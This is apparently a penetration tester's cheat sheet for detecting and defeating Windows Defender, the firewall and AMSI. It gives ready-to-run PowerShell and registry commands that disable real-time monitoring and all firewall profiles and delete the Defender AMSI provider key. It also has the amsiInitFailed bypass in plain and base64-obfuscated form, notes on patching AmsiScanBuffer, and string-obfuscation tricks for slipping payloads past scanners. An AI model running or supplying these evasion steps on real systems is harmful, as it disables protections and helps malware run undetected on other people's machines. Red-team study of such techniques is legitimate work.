Existing types
Detection Methods
Additional Features
wmic /namespace:\\root\securitycenter2 path antivirusproduct
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
Get-Service WinDefend
Get-MpComputerStatus | select RealTimeProtectionEnabled
Get-NetFirewallProfile | Format-Table Name, Enabled
Get-NetFirewallRule | select DisplayName, Enabled, Description
Test-NetConnection -ComputerName 127.0.0.1 -Port 80
powershell -c "Get-MpPreference"
powershell -c "Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Id
reg query "HKLM\Software\Microsoft\Windows Defender\Features" /v TamperProtection
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
System.Management.Automation.dll
Flow
| Win32 API | COM API | AV Provider |
Interpreter --> AMSIScanBuffer --> AMSIScanString --> IAntiMalware::Scan() --> IAntiMalwareProvider::Scan()
AMSI_RESULT_CLEAN = 0
AMSI_RESULT_NOT_DETECTED = 1
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
AMSI_RESULT_DETECTED = 32768
PowerShell -Version 2
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
or an obfuscated version
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
Set-MpPreference -DisableRealtimeMonitoring $true
amsi.dll
, which is loaded at Powershell startupAMSI ScanBuffer is delivered to amsi.dll
Get handle of amsi.dll
Write opcode to AMSIScanBuffer
amsifail generates obfuscated snippets
.\\AMSITrigger.exe -u <URL> -f 1
or
.\\AMSITrigger.exe -i <file> -f 1
$OBF = 'Ob' + 'fu' + 's' +'cation'
Concatenate - ('co'+'ffe'+'e')
Reorder - ('{1}{0}'-f'ffee','co')
Whitespace - ( 'co' +'fee' + 'e')
Example
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
* With
[dorkstork]::copy($buf, 0, $BufferAddress, 6);
Invoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit
ThreatCheck.exe -f <file>